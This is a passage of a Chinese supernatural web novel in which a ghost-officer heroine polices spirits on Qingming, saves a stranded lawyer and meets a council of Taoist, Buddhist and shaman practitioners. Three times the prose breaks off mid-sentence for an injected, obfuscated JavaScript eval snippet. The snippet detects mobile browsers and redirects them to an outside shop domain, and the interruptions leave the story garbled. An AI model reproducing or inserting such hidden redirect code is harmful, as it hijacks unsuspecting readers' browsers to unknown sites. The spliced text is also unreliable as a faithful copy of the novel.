“……”梦书生立马就哑火了,他当然知道阴司鬼神的厉害,也就敢在背后吐槽吐槽,真叫他在白无常面前说,那是万万不可能的。做鬼最重要的是要有自知之明,断然不能干一些主动“找死”的事。 “凌初大人,那活人都知道你的真实身份了,你打算怎么办啊?还要继续留在那里吗?”梦书生有些担忧,“毕竟人鬼殊途。而且,阳世有一句俗语——‘非我族类,其心必异’,他们凡人,可是固执得很啊。” 凌初脚步加快,“书生,我自有打算,你的话太多了。” 梦书生:“……”嘁,不识好鬼心,我明明是担心你好不好! 凌初紧赶慢赶回到宿舍楼,刚打开房门,隔壁房间的门应声而开,陈遇面无表情说道:“凌小姐,我们聊聊?” 凌初第一反应是先看了眼手机,都凌晨2点了,他竟然还没睡?专门等我?而且,隔壁房间不是空的吗? 没得到凌初回应,陈遇眉头皱成川字,重复了一遍:“凌小姐,我们聊聊?” “好,进来吧。”凌初打开自己房间的房门,冲陈遇一伸手。 陈遇略一思考,走进了凌初的房间。 房间内并不像他预想的那般阴森幽暗,装潢与凌初来之前一模一样,所有东西也都是分局提供的,没看到她任何的个人物品。 简而言之,没有一点儿人生活过的气息。 所以,凌初果然不是人吗?! 陈遇自动坐到沙发上,与凌初隔着一张茶几,酝酿了半天,才开口说:“凌小姐,你的事情我都已经听李善言说了。但是,我还是想跟你确定一下,你为何隐瞒身份来我们分局?” “为了捉拿阴司出逃的恶鬼。”凌初身体放松,朝沙发背一靠,“恶鬼附身恶人,或行恶事,而阳世恶行,受你们管辖。” 凌初简单解释了一句,陈遇露出了然的神情。他已经明白了这件事的前因后果,但还是觉得匪夷所思。 谁能想到世间居然真的有鬼神呢?若非亲眼所见,他决计是不会相信的。 然后他想起前些天的百乐门遭遇,福至心灵,“百乐门那个阴差,是你?” 凌初点头。 这样一切都说的通了,所以他那天才会碰到凌初,本以为是偶然,谁成想并非巧合。 陈遇沉默了许久,问了最后一个问题,“与你同处,对我们活人是否有害?”他必须保证分局同事们的安全。 凌初看向他的眼神有点奇怪,最后似乎带上了一点无可奈何的表情,“陈队,我可是正经阴差!” 她又不是那些恶鬼,伤害活人是要遭天谴的! 29. 清明踏青 陈遇:“……”正经阴差吗?想了想凌初这些日子以来的作风,除了办案不听指挥、现场早退之外,倒是没发现其他问题。 凌初的话说完,房间内就陷入一片死寂。 “你……”两人同时开口。 “我……”又是同时。 凌初继续说:“陈队,你先说。” “赵凭跃抓住了三个犯罪嫌疑人,又找回来一部分赃物。加上李淼,一共四个人,根据嫌疑人供述,有的黄金是捡的,有的黄金是被故意放在家门口的。我们调取了监控录像,他们说的都是真的。”陈遇说完之后就看着对方,他认为凌初一定知道这件连环盗窃案的真正隐情。 “不错,此事主谋乃是一只从阴司逃出来的恶鬼,已经伏诛。至于你们抓来的那些人,不是主犯,但也不算太无辜。人心难测,欲壑难填。有主之物还想据为己有,按你们阳世的律法,似乎也应处罚?” 凌初只在红旗分局待了短短几天,就将各种规章制度了解得七七八八,这要多谢赵凭跃。 陈遇听到凌初的解释,说不惊讶是假的,他没想到凌初一个阴差,也会学习人类的法律。他对凌初的想法表示赞同,“你说得对。他们虽不是盗窃案的罪犯,但发现失物,没有主动上交,存了非法占有的目的,一顿教育是免不了的。” 房间内再次陷入沉默,墙上挂钟走了一圈又一圈。 “还有事儿?”凌初打了几个哈欠,终于忍不住问陈遇。 “……没事,你先休息吧。”陈遇起身告辞,神情复杂地看凌初关上门。 他欲言又止,重重叹了口气,回到隔壁,一夜无眠。 …… 清明当日,百鬼夜行。 “百鬼夜行”这个说法,严格来说并不准确。 清明这一天,鬼门大开。 活人扫墓祭祖,鬼魂亦可在阳世逛上一番,前提是遵守阴司律法,只逛自己的,不打扰活人。鬼魂们也不仅仅只能在夜间出现,白天出现在太阳底下也无妨,只要不在活人面前显露行迹即可。 因为鬼魂行走阳世,阴司为以防万一,在清明这一天会派出阴差们来人间维持秩序,避免一些不怀好意的鬼魂趁机滋事。 凌初出门的时候陈遇已经不在隔壁房间了,微信群里有他早上发的消息:“今日除值班人员,其余人正常放假。值班人员XXX、XXX。”李善言第一个回复“收到”,其他人跟着回复。 凌初回复后,直接下楼,在路边买了四个青团,一边吃一边往目的地走。 谢必安交给她的阴司文书中,是要她负责新城市城区东北方向的一大块区域,地方不小,但鬼魂数量不算太多。主要是因为东北方属于新开发的区域,除了大学新校区就是一些村子、农田、森林公园一类的,都不是鬼魂爱去的地方。 鬼魂也是爱看热闹的,喜好各有不同。 有的鬼魂喜欢逛小吃街,爱吸食食物精.气,这也是为什么小吃街食物水平参差不齐的原因,食物精.气被鬼魂吸走后,留下来的食物本体,通常是一点味道都没有了的。 有的鬼魂沉迷修炼,会前往道观、城隍庙、寺庙一类有助于鬼魂修行的地方,这些地方不仅会时常举办法会,而且会布施香火,听高人讲法和吃香火,对鬼魂修炼都是大有裨益的。 但凌初忘记了活人清明的习俗,除了扫墓祭祖,他们还有另一件非常重要的习俗——踏青。 所以,当凌初来到目的地的时候,心情难以言喻。 乡间小道上,停满了小吃车,各类食物五花八门;头顶上,各种奇形怪状的风筝一通乱飞;风筝线握在孩子们和大人的手中,他们踩着青绿的草地,肆意奔跑。 活人兴高采烈,鬼魂亦在狂欢。 人(鬼)真多啊! “不敢睁开眼,希望是我的幻觉。”凌初狠狠闭上眼,不愿面对这残酷的真实。 “大人,这都是命啊。”梦书生若无其事地又在凌初心头扎了一刀,然后迫不及待从树叶暗纹中钻出来,投向热闹的鬼群中。 世间悲喜并不相通,凌初看着欢乐的人(鬼)群,心中流下了悔恨的眼泪:白无常的一百个金元宝,果然不是那么好挣的! 但是,来都来了,总不能白走一趟。凌初含恨地扫视一圈,最终隐匿身形,藏于一棵硕大的柳树上。 柳树粗壮,凌初直接坐在一段树干上,倚着主干,一条腿曲起,另一条腿横放在枝干上,抱起双臂,眼神三分漠视、七分冷漠,这是武侠片中侠客们最常用的姿势之一。 凌初暗自得意:本大人就是阴司最帅的鬼差! 耍帅的姿势还没维持十秒种,凌初就被不远处小吃摊前的争吵声吸引了。 两只贪吃的鬼为了最后一根烤鸡翅的归属在争吵。 “明明是我先来的!你讲讲道理好不好!”青年女鬼道。 对面老鬼杵着拐棍,用力敲地,大声嚷嚷:“你都‘吃’那么多了,让我吃一个怎么了?” 女鬼简直要气笑了:“想吃的话你早点来啊,现在插队是什么意思?” “年轻人,尊老爱幼懂不懂啊?这是中华民族传统美德。” “……尊老爱幼?我尊老可以,但尊的是讲道理的老人,像你这种……”女鬼停顿了下,才道:“根本不配我尊重。再说了,咱俩谁先死还不一定呢?!” “……” 很快,周围就围了一圈鬼魂,严重影响了交通。鬼魂多了,也影响到了活人,凌初明显看到活人身上的阳气逐步减弱。这可不是好事儿,阳气太弱,容易见鬼。 在事态升级之前,凌初眨眼便移到烤鸡翅的摊儿前,身形显露出来,属于阴差的气息外放。 两只吵架的鬼瞬间就消停了,看热闹的鬼众也恋恋不舍地散开了。 女鬼正要开口说话,老鬼便抢先跪地,张嘴哭嚎:“阴差大人明察啊,小老儿不过是想尝一口鸡翅,谁知道这女娃儿较真得很,这是虐待老人啊……” 凌初:“……”这撒泼打滚、颠倒黑白的本事跟我有一拼。 女鬼也懵了,喃喃道:“我从未见过如此厚颜无耻之鬼!”说完后看向凌初,眼神坚定,“大人,事情并非如此,我……” 凌初抬手,止住了女鬼的话,低头看了过去:“老鬼,果真如此,可有说谎?” 老鬼硬气道:“绝无虚言!” “那就好办了。”凌初说完,召出缚魂锁,淡淡开口:“二位随我回阴司一趟,在陆判面前辩上一辩,如何?” 判官司下查察司判官——陆之道,可洞察善恶因缘,最是刚正不阿,生平最痛恨撒谎成性之鬼。 “好!”女鬼毫不犹豫道。 老鬼满头大汗,“这、这、这……”这了半天,也没说出个所以然来。 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204352|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初似笑非笑地着看他,猛甩了一下缚魂锁,又问一遍:“如何?” 那老鬼立马以头抢地,战战兢兢道:“大、大人饶命,小的这就走,不碍您的眼。”说完灵活地翻滚了一圈,迅速站起身逃走了。 女鬼转身对凌初道谢:“大人明察秋毫。” 凌初无所谓地笑了笑:“老鬼本就没理,不过是吓唬吓唬,陆判可不会管这鸡毛蒜皮的小事。” “晴霄明白。”女鬼也笑了笑。 凌初转身,再次隐匿身形,回到大柳树上。 本以为经过这么一遭,在场的鬼魂直到阴差在此,行事会收敛一点,谁知道情况反而愈演愈烈起来。 凌初第七次回到柳树上的时候,整只鬼已经生无可恋了,她就不明白了,怎么会有鬼想出谁先把小孩子弄哭这种脑残的比试???她将两只鬼分别痛揍了一顿才消气,这种浪费阴司警力资源的事情,必须要杜绝!!! 刚坐下,梦书生就飘过来了,在凌初身旁坐下来。 “哎,凌大人,我看见陈遇了哎。”梦书生开口。 呲溜一声,凌初差点从枝干上滑下去,她眼疾手快抓住垂落的柳树枝条,又坐回原处。 “你说话能不能先提示一下?书生?” 梦书生不明所以,“我突然说话吓着你了?不能吧,你不是阴差吗?” 谢谢!不是你说话吓着我了,是你话中的两个字有点吓人。 “陈遇怎么了?”凌初转移了话题。 梦书生这才继续说:“哦。他参加活动嘞,好像是纪念活动吧,就那边烈士陵园。”他伸出手,指了指方向。 “烈士陵园?”凌初问。 “对,今儿不是清明嘛,好像都是公安局的警察。”梦书生又十分嫌弃地补充:“你不知道,他们都是献的鲜花,没有一丁点香火纸钱,这对鬼魂有什么用?又不能吃不能喝的。” “高尚的鬼魂你不懂,书生,你太低俗了。” 梦书生:“……”嘁!高尚又不能当饭吃! “不对,烈士陵园?是不是有很多警察鬼魂?”凌初眼睛都亮了。 “是啊,还有一些当兵的鬼魂。怎么了?” 怎么了?这一大片区域有人,不对,有鬼帮我管了啊啊啊啊。 凌初立刻飘向烈士陵园的方向。 烈士纪念碑前,新城市公安局系统警察方阵庄严肃穆地站着,所有人都穿着制服,面容沉静。 凌初一进大门就看到了这抹安静沉默的深蓝,一时间也被这气氛感染,不再上前。 三分钟默哀完毕,方阵才响起微弱的说话声。 凌初从方阵的一侧过去,在人群中看到了陈遇,他穿着一身警察制服,身形修长,脸庞之上表情坚毅,整个人散发出一种沉稳、冷肃的气息。 是不一样的他。 凌初匆匆看了一眼,便来到了警察鬼魂们的队伍面前。 跟新城市公安局方阵相对,警察鬼魂们的队伍也十分整齐。他们穿着不同时期的警服,排成方阵,与后辈们隔着阴阳相望。 警察鬼魂们看着凌初,也很震惊,之前从未有阴差来过烈士陵园。 站在最前方的警察鬼魂向凌初敬了个礼,凌初立马拱手致意,只听到他问:“同志来这儿,是有什么事情吗?” 凌初不好意思地笑了笑:“我想请各位前辈们帮个小忙?” 30. 知鬼善用 “什么忙?” “帮忙去协调一下秩序。”凌初回道,然后简单说了下自己的想法。 警察鬼魂们听完后,一阵商议后,同意了凌初的请求。 于是,凌初打头,领着一群警察亡魂们,从陵园方向大摇大摆地过来了。 警察们生前办案经验丰富,因此现在帮凌初协调秩序是手到擒来。 只见几名领导模样的警察鬼魂,聚在一处讨论了两三分钟,就迅速作出了计划:将警察鬼魂们分成若干个小组,两鬼一组,又将凌初所负责的新城市东北方的区域划分成若干个正方形,每组分别负责一个正方形区域。 思路明确,目标精准,效率极高。 半个小时后,各组警察鬼魂们都已经来到各自负责的区域,在场的鬼魂们一见到警察,神情都带上了紧张,还以为是有鬼魂故意犯事呢! 经过打听才知道,原来他们是来帮阴差协调秩序的。松了口气的同时也不禁为这阴差的做法所惊叹,真是奇了,头一次遇见阴差主动找警察鬼魂帮忙的! 有警察的帮忙,凌初瞬间就清闲下来了。 她优哉游哉坐在大柳树上,一脸得意:“我真是太聪明了!” “大人,你就不怕有鬼告诉阴司?”梦书生看着井然有序的群鬼道。 “告就告呗,我这叫‘知鬼善用’,懂不懂?!”凌初朝梦书生投去鄙视的一眼。 梦书生:“……” 日头西斜,一年一度的清明节就要过去了,阳世活人踏着暮色回家。而鬼魂们,依依不舍地前往城隍庙,准备返回阴司。 下一次来阳世,就是七月半中元节了。 凌初站在大柳树下,将所有警察鬼魂们召集起来,真诚地鞠了一躬:“多谢各位前辈帮忙,小小谢礼,不成敬意。” 说罢她伸手做了个手势,口中念诀,淡蓝色的光芒瞬间笼罩了整个警察鬼魂的方阵。所有警察们都感受到一股充沛的阴华之力暖流进入自己的魂体,而与此同时,自身魂体好像更凝实了一点。 警察们明白这是阴差的法力,对鬼魂来说有百利而无一害。于是,为首的警察道:“所有人,立正,敬礼——” 警察们齐刷刷举起右臂,朝凌初庄重地敬礼,凌初再次鞠躬。 随后,所有的警察魂魄也踏上了回阴司的路,凌初则一个人慢悠悠回去,手中还拿着几串烤鸡翅。 真香啊! …… 晚上十一点,一个西装革履的年轻男人从市中心大楼走出来。 “王总,你放心,我已经跟被告公司的律师联系过了,他表示被告预计五月份项目上有回款,希望在开庭前跟我们达成和解。” “霍律师,你跟他们说……” “是是是,王总再见,早些休息。”霍闻挂断电话,长舒了口气。低头看手表,无奈道:“几十万标的的案子,竟然加班到这个时候?客户沟通效率太低了。”想起今天下午跟这个王总的电话沟通,他就忍不住吐槽。 刚想往停车场走,一摸兜才发现自己没带车钥匙,“哦,今天限行。”于是认了命,准备打个车回家,这个点公交车早都停了。 但不知道今天什么日子,霍闻愣是在马路边等了半个小时,也没见一辆出租车过来,打车软件就更奇怪了,一直显示无人接订单。 虽已入春,但夜里气温还是不太高的,有些凉意。霍闻穿着单薄的西装外套,在寒风中冻得瑟瑟发抖。 “撞邪了吧,平常也没见出租车这么早下班啊?”霍闻提着电脑,朝不远处的共享单车走过去。他家离得不算太远,骑自行车也就二十来分钟左右。 “开锁成功!XX单车为您服务。”拿手机扫过码,霍闻把电脑包挂共享单车的车把手上,长腿一抬,踩上脚踏板,脚一蹬就骑着单车上路了。 他一边骑车一边掏出手机拍视频,“各位观众,欢迎来到霍律的频道!当大家骑车时,哦,补充一句,一边骑车一边玩手机是不好的行为哦,大家不要模仿,霍律是在安全道路上进行拍摄的。骑车时尽量将随身包包挂到车把手上,不要放在车筐里,以免被坏人抢夺,损失财物……” 普法小视频还没拍完,霍闻手机就没电了,“我去,连你也罢工。”下午他忙昏了头,连手机也忘了充电。 霍闻把手机揣兜里,猛蹬自行车。 刚过了一个红绿灯,他发现了不对劲。二十分钟左右的路程,怎么骑了这么久还没到?他又看了看手表,发现指针仍旧停在11点30分的位置,表也坏了? 他不信邪,一脚踩上地面,把手表取下来,开始调整时间。他这表是机械表,不存在没电的可能。 调了半天,发现指针依旧一动不动,“难道是什么零件坏了?”再一抬头,发现不知什么时候起了灰雾,灰茫茫的一片,看不清前方,甚至街道两侧的门面房都关上了灯,黑黢黢的。 他回家的路可是新城市最著名的步行街,饭店、超市、药店、服装店应有尽有,绝对不会出现全部店铺同时关门的情况! 霍闻的脸还维持着正常表情,心里已经不淡定了。天气预报没说今天有雾啊?再说了,刚刚月亮还,哎?月亮呢?抬头望天的瞬间,他整个心脏几乎都要停止跳动了,这怎么突然就、就变天了? 我这是遇上鬼打墙了吗?霍闻依稀记得,律所同事前两天跟他提起过,清明他们一家要去隔壁市旅游去。所以,今天是清明? 霍闻整个人都不太好了,他坐在车座上,脚踩着地,孤零零的停在路中央。 他试图催眠自己:“不要怕,世上没有鬼神,这都是假的。我是无神论者,要崇尚科学,富强、民主、文明、和谐……”霍闻开始疯狂背诵社会主义核心价值观,仿佛这样就能给他增添胆气似的。 不知道是这二十四字核心价值观真起了作用,还是霍闻的自我催眠做到位了,他竟然真的不太害怕了,于是他调转车头,打算沿原路返回。 结果就在这时,霍闻突然看到远处的灰雾中一个黑色的身影逐渐显现出来,他浑身的血都要凉了! 凌初路上吃完了鸡翅,双手油腻腻的,便折去河边洗了洗手。 刚回到大路上就看到有一个活人骑着共享单车站在马路中间,不走也不动,这幸亏是大半夜车辆少,要是车多,一准就被压过去了。 碰瓷的?也不像啊,还穿着西装呢!难不成是找死的? 这本来不关她的事,但今天被警察鬼魂们帮了一把,再加上她如今也算是半个警察,就善心大发走过来。 一走近,才发现这周围是被鬼魂施了法,那人应该是被迷惑了。 霍闻的上下牙都快打起来了,身子控制不住的颤抖。他现在很想转身逃跑,但发觉自己竟挪动不了一步,只能眼睁睁地看着那不知道是人是鬼的家伙朝自己走过来。 “喂!帅哥,大半夜你一个人骑单车找刺激呢?”凌初故意问道。 是人!霍闻紧绷的状态瞬间便放松了,他不着痕迹地下车,站直了身子,“哦,不是,下班回家呢。您是?” 凌初看着他强撑镇定的模样,十分想笑,但忍住了,“我啊,刚扫墓回来。” 霍闻听得心里一咯噔,扫墓回来啊,那是人吗?他低头看地上,见对方有影子,骤然松了口气。 “你干啥工作的啊,加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214996|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班到这么晚?”凌初假装没看到他的小动作,又聊一句。 “……”霍闻险些流下泪来,特苦逼地说:“律师,也是为当事人做牛做马的。”这不,差点儿撞上鬼呢! 凌初:“……哦,那确实啊。你刚说你准备回家?你家是哪儿的?” 霍闻答:“嗯,对。我家在劳动路建业花园。” 凌初立刻在脑海中搜索建业花园的地址,然后才说:“那你走错方向了,劳动路在那边。”她指了个方向。 顺着她的手指看过去,有一条笔直的路,虽有灰雾,但灯光若隐若现,甚至还有人声。 “是嘛?哈哈哈,可能是今天忙太晚了,走错路了,谢谢。” “不客气。”凌初转身欲走。 霍闻喊住她:“哎?您不一起吗?” 凌初笑了笑:“不了,我住人民路那儿。你快走吧,不要回头。” 霍闻非常识趣,骑上自行车就疯狂地蹬脚踏板,火星子都要冒出来了! 凌初看着霍闻落荒而逃的背影,眼神忽的就冷下来,拿出缚魂锁甩向某处,灰雾散开的同时,还伴有“哎呦哎呦”的男声。 将那鬼魂套中拉过来一瞧,还是个熟鬼,“老鬼,迷惑活人,意欲何为?” “冤枉啊冤枉啊,大人,小的不是故意的。”这老鬼正是白日里跟另一个女鬼抢烤鸡翅的那只。 “不是故意的?那就是说,是这阳世活人主动来这儿的?嗯?”凌初皮笑肉不笑道。 “呃……”老鬼不语。 这时,有另一个声音冒了出来,“凌初大人,跟这老鬼废什么话!不如直接拿了锁魂袋,送他去十八层地狱!” 只闻其声不见其身,不只是人还是鬼。 老鬼立马认怂了:“大人、大人,小的没别的意思,只是想迷惑一个人给我烧点纸钱啊。” “就这?” “是啊是啊,小的可不敢做伤天害理的事,真的只是为了一点儿纸钱啊。”老鬼点头如捣蒜。 “真的?”凌初将信将疑,顿了片刻才说:“据我所知,阴司为无人祭祀之鬼提供了各种就业机会,只要干了活,就会有报酬。你怎么会没钱?” 老鬼低着头,试图解释:“这个嘛,这个……” “当然是因为‘懒’呗!”那讨人厌的声音又冒了出来。 “别插话!”凌初随口道,然后绕着老鬼转了一圈,他身上确实没有活人气息,疑惑:“那他怎么就光站在这儿?没去给你烧纸钱?” 说到这儿,老鬼也郁闷了,“谁知道他阳气那么足啊,我连靠近都不敢,只能布了迷雾,想待他阳气减弱时再附身告诉,结果……”他没说完,只抬头看了一眼凌初。 意思不言而喻,结果直接把阴差招过来了。 鬼倒霉了,真是喝凉水都塞牙! 凌初看他也不像说谎的样子,立刻在虚空中写了信,再一挥手,捎给城隍庙的阴差。 没一会儿阴差便到了,来了两位,一黑一白,这是打扮成了黑白无常的模样,高帽上并没有“天下太平”与“一见生财”几个字。 “凌初大人。”二位阴差打了个招呼。 凌初没有废话,直接说:“这老鬼今日妄图迷惑活人,但是未遂,你们看着给处罚吧。” “是。”黑衣服的阴差丢出勾魂索,将地上的老鬼套住了。 凌初收起缚魂锁。 老鬼十分后悔,可怜兮兮地问面前三位阴差,“三位大人,我得关多久啊?” 白衣服的阴差阴恻恻笑了,十分瘆人,“不久。你下次出来,便是七月半了。” “啊???” 31. 跨界执法 凄惨的老鬼被两位铁面阴差带走了,凌初则自顾自回分局去。 她边走边想:那倒霉的活人应该也回到正确的路上了。 霍闻卯着劲一路蹬着自行车,终于见到了自己熟悉的场景:灯火通明,两侧门面房仍有店铺营业,偶尔有遛狗的人经过,稀稀拉拉的车辆不时穿过。 他萌生出一种劫后余生的庆幸来,这才是自己熟悉的世界嘛,他骑着车,双手放开车把手,大声呼喊:“我终于回来了——” 被这声音惊到的路人:“这小伙穿得人模狗样,怎么像从二院出来的!” 二院,全称是“新城市医学院第二附属医院”,是非常知名的精神病专科医院。 …… 清明假期第三天,凌初在床上躺尸,一动不动。 梦书生从树叶暗纹中钻出来,刚出来,房间内的温度就骤然下降了几度,凉飕飕的。 他飘在阳台,趴在玻璃上,满眼羡慕地看着窗外,紧接着猛一转头,恨铁不成钢道:“我说凌初大人,这么好的天气,难道不应该出门走走吗?大好春光,怎可荒废啊——” “累,不去。”凌初吐出来三个字,毫不留情拒绝了梦书生的建议。过了一会儿又转头看过去,“书生,想出去的话你可以自己出去。”出去了不回来都行! 梦书生“哈”了一声,立刻飘到凌初上空,眼对眼盯着她,“别以为我不知道你在想什么,告诉你,本鬼跟定你了!!!别想甩开我!!!” “……”凌初没说话,心累地闭上了眼。 结果眼睛刚闭上就有人敲门了。 “书生,去看看是谁敲门。”凌初翻了个身,背对着卧室大门。 梦书生穿过卧室门,又飘过客厅,来到房门口,刚穿过房门探出一个头就跟门外来人脸贴脸,被吓了一大跳,我去,怎么是他?眼见对方又要敲门,他扯开嗓子大喊:“凌初大人,陈遇来了!!!” 活人是听不到鬼魂声音的,但凌初目前是个半人半鬼的状态,人和鬼的声音都能听到。因此,敲门声和呼喊声摞在一起,差点儿将她耳膜震破! 她怒气冲冲下床,冲过来打开门,对着面前一人一鬼叫道:“敲(嚎)什么敲(嚎),要死啊!!!” 陈遇一脸懵逼地看着她。 梦书生缩在墙角。 “抱歉。”陈遇收回敲门的手。 “陈队长,有事吗?”凌初不客气道。 凌初以为陈遇知道自己的真实身份后,就不会再让她待在红旗分局了。本来想着清明假期结束后他才会赶人,没想到今天就过来了。 “想请凌顾问和我一起去个地方。”陈遇并没有因为凌初的态度而生气,语气依旧平静。 不是来赶人的? 凌初的气势也弱下来,毕竟伸手不打笑脸人嘛,她回屋里换了双鞋出来,冲陈遇说道:“走吧。” 梦书生紧随其后,拿手捅捅凌初,“喂,你都不问他带你去哪儿?” 凌初用一种看傻子的眼神瞧他,难不成阴间的鬼来到阳世智商都会下降?这书生在鬼市时不是挺机灵的?她淡淡说了一句:“我可是阴差。” 对哦,她可是阴差!区区一个凡人有什么好怕的!梦书生懊恼地捶了自己脑袋一下,“我真是傻了。” 陈遇带着凌初驱车来到了一个熟悉的地方——新城市城隍庙。 两人来到门口时,凌初欲言又止,“陈队,你带我来见凌虚?” “进去看看就知道了。”陈遇率先走进去。 凌初嗤笑,她倒要看看,这“西施”在打什么哑迷! 刚跨出一步,衣角就被一只手拉住了,“大人,我也想进去。”梦书生惨兮兮道。 城隍庙乃阴间派驻阳世鬼神之所,寻常鬼魂,自然不敢进去。 凌初叹了口气,伸出右手,树叶暗纹上银光一闪,梦书生钻了进去。 凌初刚进城隍庙,就看到熟悉的小道童,正是明山。短短几日,他的个子好像长高了一点。 明山见到陈遇和凌初,行了个礼,这才一板一眼道:“陈队长、凌顾问,师父在八方堂等你们,请随我来。” 八方堂,是凌虚道长平日待客谈事的屋子。 八方堂内,六个人坐在一块,男女老少皆有,正围着凌虚叽叽喳喳、问东问西。 一穿着优雅的老太太率先开口:“凌虚,你电话里说得都是真的?” “当然。” “凌道长,所以庙里那口枯井之下,确实另有玄机?”说话这位青年穿着少数民族的服饰坐在太师椅上,小麦肤色,脖子挂了硕大的银圈,齐肩的头发扎起来一半,挽成一个小揪揪。 “呃……龙阅说得对。”凌虚环视一周道。 龙阅便是那个少数民族青年,来自滇云的蛊师。 龙阅旁边坐的是一个少女,穿着市一中的校服,微笑道:“凌爷爷,他们什么时候来,我下午还要返校上自习。” 被这一声“凌爷爷”暴击的凌虚,瞧着小姑娘,五味杂陈。虽说自己是比她大个四五十岁吧,但这声“爷爷”还是太……老了叭,叫凌道长也行啊! 凌虚心里虽然不平衡,但还是和蔼道:“小时你放心啊,不会耽误你学习的。喏,他们来了。” 时青寒朝门外看去,一对儿青年男女并肩走进八方堂。 陈遇和凌初骤然见到这群人,一时也愣住了。 有大人也就罢了,怎么高中生也有? 陈遇以眼神询问凌虚:这是什么情况? 在座其他人也一同看向他:这不就是俩普通人吗?请问你说的大佬是哪一位? 凌虚站起来,笑呵呵介绍:“各位,这位是红旗分局刑侦大队大队长——陈遇,陈警官。” “各位好。” “你好。” “陈警官好。” “警察叔叔好!” “……” 陈遇:“……”雇佣童工真不犯法吗??? 介绍完陈遇后,凌虚走到凌初身边,笑得像朵花儿一样,“阴差大人,又见面了。” 凌初僵硬地笑了:“……凌道长。” 阴差??? 她就是大佬??? 不是,这身上一点儿阴气也没,凭啥说她是阴差?! 众人你看看我,我看看你,都没有说话。 唯有一人出声:“姐姐,我这儿有空位,你要不要坐这儿?” 凌虚大惊:“哎?我给大人安排了……” “好啊!谢谢你!”凌初笑了,径直坐到了时青寒旁边。 时青寒很高兴,小大人般伸出手,“姐姐你好,我叫时青寒,市一中学生,是一名巫师哦。” “哇,你好厉害!”凌初惊叹,这一声将屋内所有人的目光都引过来,她继续说:“东岳阴司阴律司判官——崔珏座下,凌初见过诸位。”说最后一句话时,凌初不再掩藏自身阴气,她的目光扫视众人一圈,最后停在时青寒眼前,眉眼一弯。 “凌初姐姐,你也很厉害。” 其余人:“……” 看这冲天的阴气,还有这蔑视所有人的目光,没人再质疑凌初的身份。 坐在老太太对面的老和尚站了起来,来到凌初面前,双手合十道:“阿弥陀佛,阴差有礼了。” 凌初也站了起来,拱手道:“见过法师。” 此和尚是隔壁市建国寺的主持,人称“心严大法师”,自幼修习佛法,修为高深。 “凌虚道长电话中说你现身,我本有怀疑,如今看来,确是事实。阴差何故来此?”心严法师神情严肃,按他所知,地府无常来人间,只为拘魂,无故不会现身。 “各位都坐吧,此事说来话长,容我慢慢说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256105|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “数十日前,阴司有恶鬼从十八层地狱逃出,我等奉十殿阎罗之命,前往阳世,捉拿恶鬼……”凌初娓娓道来。 陈遇听得认真,原来这才是最根本的原因。 凌初语毕,心严法师才恍然大悟道:“怪不得这段时间,寺外游魂数量增多,原来根源在此。” 他对面老太太也点点头:“是的,听徒弟们说,最近是有许多鬼魂兴风作浪,问了仙家,仙家也说不清楚原因。”她看一眼凌初,“原来是阴司的鬼。” 凌初讪笑,这老太太是个出马仙,道行很高,这话听上去像在指责阴司无所作为。 另有一个穿着西装的中年男人开口:“阴差大人,阴司恶鬼来到我们这里,势必会给群众带来麻烦。我想问,如今恶鬼抓了多少?还有多少没有抓到?应该怎么抓?需要我们干什么?以及,陈队长在这里的身份和作用是什么?” 男人思路清晰,一语切中要害。 凌虚指着男人说:“凌顾问,这位是青阳李氏如今的家主——李蒙,就是你们公安局李善言的父亲。” 李善言的父亲?凌初忍不住小声吐槽一句:“子不肖父啊。” 谁知李蒙听了,分外激动,一脸找到知音的模样,“对对对!子不肖父啊,阴差大人说得非常对!!!” 其余人:“……”清醒点儿啊,李道长,子不肖父又不是啥好词儿! 凌初默默为李善言掬一把同情泪,你是干了什么天怒人怨的事儿,你爸烦你都烦到这种程度了?! 凌初手一伸,出逃恶鬼名单浮现,她一目十行,很快就看完了名单。 “出逃恶鬼共三百一十只,其中二百二十八只恶鬼已押回阴司,剩余的仍在继续抓捕。”凌初公布完情况,手一向下盖,恶鬼名单就消失不见。 “至于怎么抓,那是阴司的事情,暂不需要各位帮忙。至于陈队的身份,那就请他自己来说吧。”凌初伸手示意。 陈遇看着众人,斟酌一番才开口:“各位,坦白讲,我见到你们很震惊。我国传统文化源远流长,神话故事也丰富多样,但我从未想过这些竟然是真实的。直到前些日子误入鬼魂幻境,再加上鬼市之行,实在是……”他顿了顿,在想一个合适的词语来形容这段经历。 “大开眼界。所以,在我知道凌顾问的真实身份后,我第一时间上报给了省公安厅,因此才有了这次会面。警方的意思很明确,希望各位群策群力,共同守护阴阳两界的安宁。” 